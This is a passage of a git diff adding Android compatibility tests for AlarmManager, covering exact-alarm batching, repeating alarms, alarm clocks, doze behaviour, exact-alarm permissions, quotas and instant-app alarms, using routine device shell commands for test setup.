+            }
+        }.run();
+    }
+
+    /**
+     * We run a few trials of an exact alarm that is placed within an inexact alarm's window of
+     * opportunity, and mandate that the average observed delivery skew between the two be
+     * statistically significant -- i.e. that the two alarms are not being coalesced.
+     */
+    @Test
+    public void testExactAlarmBatching() throws InterruptedException {
+        final long windowLength = 6_000;
+        int deliveriesTogether = 0;
+        for (int i = 0; i < 5; i++) {
+            mMockAlarmReceiver.reset();
+            mMockAlarmReceiver2.reset();
+
+            final long now = SystemClock.elapsedRealtime();
+            final long windowStart = now + 1000;
+            final long exactStart = windowStart + windowLength / 2;
+
+            mAm.setWindow(AlarmManager.ELAPSED_REALTIME_WAKEUP, windowStart, windowLength, mSender);
+            mAm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP, exactStart, mSender2);
+
+            // Wait until the end of the window.
+            Thread.sleep(windowStart - now + windowLength);
+            PollingCheck.waitFor(1000, mMockAlarmReceiver::isAlarmed,
+                    "Inexact alarm did not fire by the end of the window");
+
+            // If needed, wait until the time of the exact alarm.
+            final long timeToExact = Math.max(exactStart - SystemClock.elapsedRealtime(), 0);
+            Thread.sleep(timeToExact);
+            PollingCheck.waitFor(1000, mMockAlarmReceiver2::isAlarmed,
+                    "Exact alarm did not fire as expected");
+
+            final long delta = Math.abs(
+                    mMockAlarmReceiver2.getElapsedTime() - mMockAlarmReceiver.getElapsedTime());
+            Log.i(TAG, "testExactAlarmBatching: [" + i + "]  delta = " + delta);
+            if (delta < FAIL_DELTA) {
+                deliveriesTogether++;
+                if (deliveriesTogether > 1) {
+                    fail("More than 1 deliveries with exact alarms close to inexact alarms");
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testSetRepeating() {
+        mMockAlarmReceiver.reset();
+        mWakeupTime = System.currentTimeMillis() + TEST_ALARM_FUTURITY;
+        mAm.setRepeating(AlarmManager.RTC_WAKEUP, mWakeupTime, REPEAT_PERIOD, mSender);
+
+        // wait beyond the initial alarm's possible delivery window to verify that it fires the
+        // first time
+        new PollingCheck(TEST_ALARM_FUTURITY + REPEAT_PERIOD) {
+            @Override
+            protected boolean check() {
+                return mMockAlarmReceiver.isAlarmed();
+            }
+        }.run();
+
+        // Now reset the receiver and wait for the intended repeat alarm to fire as expected
+        mMockAlarmReceiver.reset();
+        new PollingCheck(REPEAT_PERIOD * 2) {
+            @Override
+            protected boolean check() {
+                return mMockAlarmReceiver.isAlarmed();
+            }
+        }.run();
+
+        mAm.cancel(mSender);
+    }
+
+    private static final String DOZE_ON_OUTPUT = "deep idle mode";
+    private static final String DOZE_OFF_OUTPUT = "deep state: ACTIVE";
+
+    private void toggleIdleMode(boolean on) {
+        SystemUtil.runShellCommand("cmd deviceidle " + (on ? "force-idle deep" : "unforce"),
+                output -> output.contains(on ? DOZE_ON_OUTPUT : DOZE_OFF_OUTPUT));
+        PollingCheck.waitFor(10_000, () -> (on == mPowerManager.isDeviceIdleMode()),
+                "Could not set doze state to " + on);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testSetPrioritizedWithoutPermission() {
+        mAm.setPrioritized(AlarmManager.ELAPSED_REALTIME_WAKEUP, 20, 10,
+                "testSetPrioritizedWithoutPermission", r -> r.run(), mMockAlarmReceiver);
+    }
+
+    @Test
+    @Ignore("Fails on cuttlefish")  // TODO (b/182835530): Investigate and fix.
+    public void testSetPrioritized() throws InterruptedException {
+        mMockAlarmReceiver.reset();
+        mMockAlarmReceiver2.reset();
+
+        final long trigger1 = SystemClock.elapsedRealtime() + 1000;
+        final long trigger2 = SystemClock.elapsedRealtime() + 2000;
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mAm.setPrioritized(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger1, 10,
+                        "test-1", r -> r.run(), mMockAlarmReceiver));
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mAm.setPrioritized(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger2, 10,
+                        "test-2", r -> r.run(), mMockAlarmReceiver2));
+
+        Thread.sleep(2010);
+        PollingCheck.waitFor(1000,
+                () -> (mMockAlarmReceiver.isAlarmed() && mMockAlarmReceiver2.isAlarmed()));
+
+        toggleIdleMode(true);
+        // Ensure no previous alarm in doze throttles the next one.
+        Thread.sleep(PRIORITY_ALARM_DELAY);
+        mMockAlarmReceiver.reset();
+        mMockAlarmReceiver2.reset();
+
+        final long trigger3 = SystemClock.elapsedRealtime() + 1000;
+        final long trigger4 = SystemClock.elapsedRealtime() + 2000;
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mAm.setPrioritized(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger3, 10,
+                        "test-3", r -> r.run(), mMockAlarmReceiver));
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mAm.setPrioritized(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger4, 10,
+                        "test-4", r -> r.run(), mMockAlarmReceiver2));
+        Thread.sleep(1010);
+        PollingCheck.waitFor(1000, mMockAlarmReceiver::isAlarmed,
+                "First alarm not received as expected in doze");
+
+        Thread.sleep(1000);
+        assertFalse("Second alarm fired prematurely while in doze",
+                mMockAlarmReceiver2.isAlarmed());
+
+        final long timeToNextAlarm = mMockAlarmReceiver.getElapsedTime() + PRIORITY_ALARM_DELAY
+                - SystemClock.elapsedRealtime();
+        Thread.sleep(Math.max(0, timeToNextAlarm));
+        PollingCheck.waitFor(1000, mMockAlarmReceiver2::isAlarmed,
+                "Second alarm not received as expected in doze");
+
+
+        final long firstAlarmTime = mMockAlarmReceiver.getElapsedTime();
+        final long secondAlarmTime = mMockAlarmReceiver2.getElapsedTime();
+        assertTrue("First alarm: " + firstAlarmTime + " and second alarm: " + secondAlarmTime
+                        + " not separated enough",
+                (secondAlarmTime - firstAlarmTime) > (PRIORITY_ALARM_DELAY - FAIL_DELTA));
+    }
+
+    @Test
+    public void testCancel() {
+        mMockAlarmReceiver.reset();
+        mMockAlarmReceiver2.reset();
+
+        // set two alarms
+        final long now = System.currentTimeMillis();
+        final long when1 = now + TEST_ALARM_FUTURITY;
+        mAm.setExact(AlarmManager.RTC_WAKEUP, when1, mSender);
+        final long when2 = when1 + TIME_DELTA; // will fire after when1's target time
+        mAm.setExact(AlarmManager.RTC_WAKEUP, when2, mSender2);
+
+        // cancel the earlier one
+        mAm.cancel(mSender);
+
+        // and verify that only the later one fired
+        new PollingCheck(when2 - now + TIME_DELAY) {
+            @Override
+            protected boolean check() {
+                return mMockAlarmReceiver2.isAlarmed();
+            }
+        }.run();
+
+        assertFalse(mMockAlarmReceiver.isAlarmed());
+    }
+
+    @Test
+    public void testSetAlarmClock() {
+        assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.LOLLIPOP));
+
+        mMockAlarmReceiver.reset();
+        mMockAlarmReceiver2.reset();
+
+        // Set first alarm clock.
+        final long wakeupTimeFirst = System.currentTimeMillis()
+                + 2 * TEST_ALARM_FUTURITY;
+        mAm.setAlarmClock(new AlarmClockInfo(wakeupTimeFirst, null), mSender);
+
+        // Verify getNextAlarmClock returns first alarm clock.
+        AlarmClockInfo nextAlarmClock = mAm.getNextAlarmClock();
+        assertEquals(wakeupTimeFirst, nextAlarmClock.getTriggerTime());
+        assertNull(nextAlarmClock.getShowIntent());
+
+        // Set second alarm clock, earlier than first.
+        final long wakeupTimeSecond = System.currentTimeMillis()
+                + TEST_ALARM_FUTURITY;
+        PendingIntent showIntentSecond = PendingIntent.getBroadcast(mContext, 0,
+                new Intent(mContext, BasicApiTests.class).setAction("SHOW_INTENT"),
+                PendingIntent.FLAG_IMMUTABLE);
+        mAm.setAlarmClock(new AlarmClockInfo(wakeupTimeSecond, showIntentSecond),
+                mSender2);
+
+        // Verify getNextAlarmClock returns second alarm clock now.
+        nextAlarmClock = mAm.getNextAlarmClock();
+        assertEquals(wakeupTimeSecond, nextAlarmClock.getTriggerTime());
+        assertEquals(showIntentSecond, nextAlarmClock.getShowIntent());
+
+        // Cancel second alarm.
+        mAm.cancel(mSender2);
+
+        // Verify getNextAlarmClock returns first alarm clock again.
+        nextAlarmClock = mAm.getNextAlarmClock();
+        assertEquals(wakeupTimeFirst, nextAlarmClock.getTriggerTime());
+        assertNull(nextAlarmClock.getShowIntent());
+
+        // Wait for first alarm to trigger.
+        assertFalse(mMockAlarmReceiver.isAlarmed());
+        new PollingCheck(2 * TEST_ALARM_FUTURITY + TIME_DELAY) {
+            @Override
+            protected boolean check() {
+                return mMockAlarmReceiver.isAlarmed();
+            }
+        }.run();
+
+        // Verify first alarm fired at the right time.
+        assertEquals(mMockAlarmReceiver.getRtcTime(), wakeupTimeFirst, TIME_DELTA);
+
+        // Verify second alarm didn't fire.
+        assertFalse(mMockAlarmReceiver2.isAlarmed());
+
+        // Verify the next alarm is not returning neither the first nor the second alarm.
+        nextAlarmClock = mAm.getNextAlarmClock();
+        assertNotEquals(wakeupTimeFirst,
+                nextAlarmClock != null ? nextAlarmClock.getTriggerTime() : 0);
+        assertNotEquals(wakeupTimeSecond,
+                nextAlarmClock != null ? nextAlarmClock.getTriggerTime() : 0);
+    }
+
+    /**
+     * this class receives alarm from AlarmManagerTest
+     */
+    public static class MockAlarmReceiver extends BroadcastReceiver
+            implements AlarmManager.OnAlarmListener {
+        private final Object mSync = new Object();
+        public final String mTargetAction;
+
+        @GuardedBy("mSync")
+        private boolean mAlarmed = false;
+        @GuardedBy("mSync")
+        private long mElapsedTime = 0;
+        @GuardedBy("mSync")
+        private long mRtcTime = 0;
+
+        public MockAlarmReceiver(String targetAction) {
+            mTargetAction = targetAction;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            final String action = intent.getAction();
+            if (action.equals(mTargetAction)) {
+                synchronized (mSync) {
+                    mAlarmed = true;
+                    mElapsedTime = SystemClock.elapsedRealtime();
+                    mRtcTime = System.currentTimeMillis();
+                }
+            }
+        }
+
+        public long getElapsedTime() {
+            synchronized (mSync) {
+                return mElapsedTime;
+            }
+        }
+
+        public long getRtcTime() {
+            synchronized (mSync) {
+                return mRtcTime;
+            }
+        }
+
+        public void reset() {
+            synchronized (mSync) {
+                mAlarmed = false;
+                mRtcTime = mElapsedTime = 0;
+            }
+        }
+
+        public boolean isAlarmed() {
+            synchronized (mSync) {
+                return mAlarmed;
+            }
+        }
+
+        @Override
+        public void onAlarm() {
+            onReceive(null, new Intent(mTargetAction));
+        }
+    }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/DumpLoggerRule.java b/tests/AlarmManager/src/android/alarmmanager/cts/DumpLoggerRule.java
new file mode 100644
index 0000000..7d04899
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/DumpLoggerRule.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
+
+public class DumpLoggerRule extends TestWatcher {
+
+    private final String mTag;
+
+    DumpLoggerRule(String tag) {
+        mTag = tag;
+    }
+
+    @Override
+    protected void failed(Throwable e, Description description) {
+        Log.i(mTag, "Debugging info for failed test: " + description.getMethodName());
+        Log.i(mTag, SystemUtil.runShellCommand("dumpsys alarm"));
+    }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
new file mode 100644
index 0000000..aa415cd
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
@@ -0,0 +1,402 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static android.alarmmanager.cts.AppStandbyTests.TEST_APP_PACKAGE;
+import static android.alarmmanager.cts.AppStandbyTests.setTestAppStandbyBucket;
+import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_ACTIVE;
+import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_WORKING_SET;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.AlarmManager;
+import android.app.AppOpsManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.PowerWhitelistManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Random;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class ExactAlarmsTest {
+    /**
+     * TODO (b/182835530): Add more tests for the following:
+     *
+     * Pre-S apps can:
+     * - use setAlarmClock freely -- no temp-allowlist
+     * - use setExactAndAWI with 7 / hr quota with standby and temp-allowlist
+     * - use setInexactAndAWI with 7 / hr quota with standby-bucket "ACTIVE" and temp-allowlist
+     *
+     * S+ apps with permission can:
+     * - use setInexactAWI with low quota + standby and *no* temp-allowlist.
+     */
+    private static final String TAG = ExactAlarmsTest.class.getSimpleName();
+
+    private static final int ALLOW_WHILE_IDLE_QUOTA = 5;
+    private static final long ALLOW_WHILE_IDLE_WINDOW = 10_000;
+    private static final int ALLOW_WHILE_IDLE_COMPAT_QUOTA = 3;
+
+    /**
+     * Waiting generously long for success because the system can sometimes be slow to
+     * provide expected behavior.
+     * A different and shorter duration should be used while waiting for no-failure, because
+     * even if the system is slow to fail in some cases, it would still cause some
+     * flakiness and get flagged for investigation.
+     */
+    private static final long DEFAULT_WAIT_FOR_SUCCESS = 30_000;
+
+    private static final Context sContext = InstrumentationRegistry.getTargetContext();
+    private final AlarmManager mAlarmManager = sContext.getSystemService(AlarmManager.class);
+    private final PowerWhitelistManager mWhitelistManager = sContext.getSystemService(
+            PowerWhitelistManager.class);
+
+    private final AlarmManagerDeviceConfigHelper mDeviceConfigHelper =
+            new AlarmManagerDeviceConfigHelper();
+    private final Random mIdGenerator = new Random(6789);
+
+    @Rule
+    public DumpLoggerRule mFailLoggerRule = new DumpLoggerRule(TAG) {
+        @Override
+        protected void failed(Throwable e, Description description) {
+            super.failed(e, description);
+            AlarmReceiver.dumpState();
+        }
+    };
+
+    @Before
+    @After
+    public void resetAppOp() throws IOException {
+        AppOpsUtils.reset(sContext.getOpPackageName());
+    }
+
+    @Before
+    public void updateAlarmManagerConstants() {
+        mDeviceConfigHelper.with("min_futurity", 0L)
+                .with("allow_while_idle_quota", ALLOW_WHILE_IDLE_QUOTA)
+                .with("allow_while_idle_compat_quota", ALLOW_WHILE_IDLE_COMPAT_QUOTA)
+                .with("allow_while_idle_window", ALLOW_WHILE_IDLE_WINDOW)
+                .with("crash_non_clock_apps", true)
+                .commitAndAwaitPropagation();
+    }
+
+    @Before
+    public void putDeviceToIdle() {
+        SystemUtil.runShellCommandForNoOutput("dumpsys battery reset");
+        SystemUtil.runShellCommand("cmd deviceidle force-idle deep");
+    }
+
+    @Before
+    public void enableChange() {
+        SystemUtil.runShellCommand("am compat enable --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
+                + sContext.getOpPackageName(), output -> output.contains("Enabled"));
+    }
+
+    @After
+    public void resetChanges() {
+        // This is needed because compat persists the overrides beyond package uninstall
+        SystemUtil.runShellCommand("am compat reset --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
+                + sContext.getOpPackageName(), output -> output.contains("Reset"));
+    }
+
+    @After
+    public void removeFromWhitelists() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mWhitelistManager.removeFromWhitelist(sContext.getOpPackageName()));
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist -r "
+                + sContext.getOpPackageName());
+    }
+
+    @After
+    public void restoreBatteryState() {
+        SystemUtil.runShellCommand("cmd deviceidle unforce");
+        SystemUtil.runShellCommandForNoOutput("dumpsys battery reset");
+    }
+
+    @After
+    public void restoreAlarmManagerConstants() {
+        mDeviceConfigHelper.deleteAll();
+    }
+
+    private static void revokeAppOp() throws IOException {
+        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
+                AppOpsManager.MODE_IGNORED);
+    }
+
+    private static PendingIntent getAlarmSender(int id, boolean quotaed) {
+        final Intent alarmAction = new Intent(AlarmReceiver.ALARM_ACTION)
+                .setClass(sContext, AlarmReceiver.class)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+                .putExtra(AlarmReceiver.EXTRA_ALARM_ID, id)
+                .putExtra(AlarmReceiver.EXTRA_QUOTAED, quotaed);
+        return PendingIntent.getBroadcast(sContext, 0, alarmAction,
+                PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
+    }
+
+    @Test
+    public void hasPermissionByDefault() {
+        assertTrue(mAlarmManager.canScheduleExactAlarms());
+
+        mDeviceConfigHelper.with("exact_alarm_deny_list", sContext.getOpPackageName())
+                .commitAndAwaitPropagation();
+        assertFalse(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test
+    // TODO (b/185181884): Remove once standby buckets can be reliably manipulated from tests.
+    @Ignore("Cannot reliably test bucket manipulation yet")
+    public void exactAlarmPermissionElevatesBucket() throws Exception {
+        mDeviceConfigHelper.without("exact_alarm_deny_list").commitAndAwaitPropagation();
+
+        setTestAppStandbyBucket("active");
+        assertEquals(STANDBY_BUCKET_ACTIVE, AppStandbyUtils.getAppStandbyBucket(TEST_APP_PACKAGE));
+
+        setTestAppStandbyBucket("frequent");
+        assertEquals(STANDBY_BUCKET_WORKING_SET,
+                AppStandbyUtils.getAppStandbyBucket(TEST_APP_PACKAGE));
+
+        setTestAppStandbyBucket("rare");
+        assertEquals(STANDBY_BUCKET_WORKING_SET,
+                AppStandbyUtils.getAppStandbyBucket(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void noPermissionWhenIgnored() throws IOException {
+        revokeAppOp();
+        assertFalse(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test
+    public void hasPermissionWhenAllowed() throws IOException {
+        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
+                AppOpsManager.MODE_ALLOWED);
+        assertTrue(mAlarmManager.canScheduleExactAlarms());
+
+        mDeviceConfigHelper.with("exact_alarm_deny_list", sContext.getOpPackageName())
+                .commitAndAwaitPropagation();
+        assertTrue(mAlarmManager.canScheduleExactAlarms());
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setAlarmClockWithoutPermission() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(0, null), getAlarmSender(0,
+                false));
+    }
+
+    private void whitelistTestApp() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mWhitelistManager.addToWhitelist(sContext.getOpPackageName()));
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setAlarmClockWithoutPermissionWithWhitelist() throws IOException {
+        revokeAppOp();
+        whitelistTestApp();
+        mAlarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(0, null), getAlarmSender(0,
+                false));
+    }
+
+    @Test
+    public void setAlarmClockWithPermission() throws Exception {
+        final long now = System.currentTimeMillis();
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            final AlarmManager.AlarmClockInfo alarmClock = new AlarmManager.AlarmClockInfo(now,
+                    null);
+            mAlarmManager.setAlarmClock(alarmClock, getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setExactAwiWithoutPermissionOrWhitelist() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME, 0,
+                getAlarmSender(0, false));
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setExactPiWithoutPermissionOrWhitelist() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setExact(AlarmManager.ELAPSED_REALTIME, 0, getAlarmSender(0, false));
+    }
+
+    @Test(expected = SecurityException.class)
+    public void setExactCallbackWithoutPermissionOrWhitelist() throws IOException {
+        revokeAppOp();
+        mAlarmManager.setExact(AlarmManager.ELAPSED_REALTIME, 0, "test",
+                new AlarmManager.OnAlarmListener() {
+                    @Override
+                    public void onAlarm() {
+                        Log.e(TAG, "Alarm fired!");
+                    }
+                }, null);
+    }
+
+    @Test
+    public void setExactAwiWithoutPermissionWithWhitelist() throws Exception {
+        revokeAppOp();
+        whitelistTestApp();
+        final long now = SystemClock.elapsedRealtime();
+        // This is the user whitelist, so the app should get unrestricted alarms.
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                    getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    @Test
+    public void setExactAwiWithPermissionAndWhitelist() throws Exception {
+        whitelistTestApp();
+        final long now = SystemClock.elapsedRealtime();
+        // The user whitelist takes precedence, so the app should get unrestricted alarms.
+        final int numAlarms = 100;   // Number much higher than any quota.
+        for (int i = 0; i < numAlarms; i++) {
+            final int id = mIdGenerator.nextInt();
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                    getAlarmSender(id, false));
+            assertTrue("Alarm " + id + " not received",
+                    AlarmReceiver.waitForAlarm(id, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+    }
+
+    private static void reclaimQuota(int quotaToReclaim) {
+        final long eligibleAt = getNextEligibleTime(quotaToReclaim);
+        long now;
+        while ((now = SystemClock.elapsedRealtime()) < eligibleAt) {
+            try {
+                Thread.sleep(eligibleAt - now);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "Thread interrupted while reclaiming quota!", e);
+            }
+        }
+    }
+
+    private static long getNextEligibleTime(int quotaToReclaim) {
+        long t = AlarmReceiver.getNthLastAlarmTime(ALLOW_WHILE_IDLE_QUOTA - quotaToReclaim + 1);
+        return t + ALLOW_WHILE_IDLE_WINDOW;
+    }
+
+    @Test
+    @Ignore("Flaky on cuttlefish")  // TODO (b/171306433): Fix and re-enable
+    public void setExactAwiWithPermissionWithoutWhitelist() throws Exception {
+        reclaimQuota(ALLOW_WHILE_IDLE_QUOTA);
+
+        int alarmId;
+        for (int i = 0; i < ALLOW_WHILE_IDLE_QUOTA; i++) {
+            final long trigger = SystemClock.elapsedRealtime() + 500;
+            mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger,
+                    getAlarmSender(alarmId = mIdGenerator.nextInt(), true));
+            Thread.sleep(500);
+            assertTrue("Alarm " + alarmId + " not received",
+                    AlarmReceiver.waitForAlarm(alarmId, DEFAULT_WAIT_FOR_SUCCESS));
+        }
+        long now = SystemClock.elapsedRealtime();
+        final long nextTrigger = getNextEligibleTime(1);
+        assertTrue("Not enough margin to test reliably", nextTrigger > now + 5000);
+
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, now,
+                getAlarmSender(alarmId = mIdGenerator.nextInt(), true));
+        assertFalse("Alarm received when no quota", AlarmReceiver.waitForAlarm(alarmId, 5000));
+
+        now = SystemClock.elapsedRealtime();
+        if (now < nextTrigger) {
+            Thread.sleep(nextTrigger - now);
+        }
+        assertTrue("Alarm " + alarmId + " not received when back in quota",
+                AlarmReceiver.waitForAlarm(alarmId, DEFAULT_WAIT_FOR_SUCCESS));
+    }
+
+    private static void assertTempWhitelistState(boolean whitelisted) {
+        final String selfUid = String.valueOf(Process.myUid());
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist",
+                output -> (output.contains(selfUid) == whitelisted));
+    }
+
+    @Test
+    public void alarmClockGrantsWhitelist() throws Exception {
+        final int id = mIdGenerator.nextInt();
+        final AlarmManager.AlarmClockInfo alarmClock = new AlarmManager.AlarmClockInfo(
+                System.currentTimeMillis() + 100, null);
+        mAlarmManager.setAlarmClock(alarmClock, getAlarmSender(id, false));
+        Thread.sleep(100);
+        assertTrue("Alarm " + id + " not received", AlarmReceiver.waitForAlarm(id,
+                DEFAULT_WAIT_FOR_SUCCESS));
+        assertTempWhitelistState(true);
+    }
+
+    @Test
+    public void exactAwiGrantsWhitelist() throws Exception {
+        reclaimQuota(1);
+        final int id = mIdGenerator.nextInt();
+        mAlarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+                SystemClock.elapsedRealtime() + 100, getAlarmSender(id, true));
+        Thread.sleep(100);
+        assertTrue("Alarm " + id + " not received", AlarmReceiver.waitForAlarm(id,
+                DEFAULT_WAIT_FOR_SUCCESS));
+        assertTempWhitelistState(true);
+    }
+
+    @Test
+    public void activityToRequestPermissionExists() {
+        final Intent request = new Intent(Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM);
+        final PackageManager pm = sContext.getPackageManager();
+
+        assertNotNull("No activity found for " + Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM,
+                pm.resolveActivity(request, 0));
+
+        request.setData(Uri.fromParts("package", sContext.getOpPackageName(), null));
+
+        assertNotNull("No app specific activity found for "
+                + Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM, pm.resolveActivity(request, 0));
+    }
+
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
index 6a34088..5daabeb 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/InstantAppsTests.java
@@ -16,6 +16,9 @@
 
 package android.alarmmanager.cts;
 
+import static android.app.AlarmManager.ELAPSED_REALTIME_WAKEUP;
+import static android.app.AlarmManager.RTC_WAKEUP;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
@@ -27,8 +30,6 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -44,16 +45,25 @@
 @RunWith(AndroidJUnit4.class)
 public class InstantAppsTests {
     private static final String TAG = "AlarmManagerInstantTests";
+    private static final long WINDOW_LENGTH = 500;
+    private static final long WAIT_TIMEOUT = 5_000;
 
     private AlarmManager mAlarmManager;
     private Context mContext;
+    private AlarmManagerDeviceConfigHelper mConfigHelper = new AlarmManagerDeviceConfigHelper();
 
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getTargetContext();
         mAlarmManager = mContext.getSystemService(AlarmManager.class);
         assumeTrue(mContext.getPackageManager().isInstantApp());
-        updateAlarmManagerSettings();
+    }
+
+    @Before
+    public void updateAlarmManagerSettings() {
+        mConfigHelper.with("min_futurity", 0L)
+                .with("min_window", 0L)
+                .commitAndAwaitPropagation();
     }
 
     @Test
@@ -61,10 +71,11 @@
         final long futurity = 2500;
         final long triggerElapsed = SystemClock.elapsedRealtime() + futurity;
         final CountDownLatch latch = new CountDownLatch(1);
-        mAlarmManager.setExact(AlarmManager.ELAPSED_REALTIME, triggerElapsed, TAG,
+        mAlarmManager.setWindow(ELAPSED_REALTIME_WAKEUP, triggerElapsed, WINDOW_LENGTH, TAG,
                 () -> latch.countDown(), null);
-        Thread.sleep(futurity);
-        assertTrue("Alarm did not fire as expected", latch.await(500, TimeUnit.MILLISECONDS));
+        Thread.sleep(futurity + WINDOW_LENGTH);
+        assertTrue("Alarm did not fire as expected",
+                latch.await(WAIT_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
     @Test
@@ -72,19 +83,15 @@
         final long futurity = 2500;
         final long triggerRtc = System.currentTimeMillis() + futurity;
         final CountDownLatch latch = new CountDownLatch(1);
-        mAlarmManager.setExact(AlarmManager.RTC, triggerRtc, TAG, () -> latch.countDown(), null);
-        Thread.sleep(futurity);
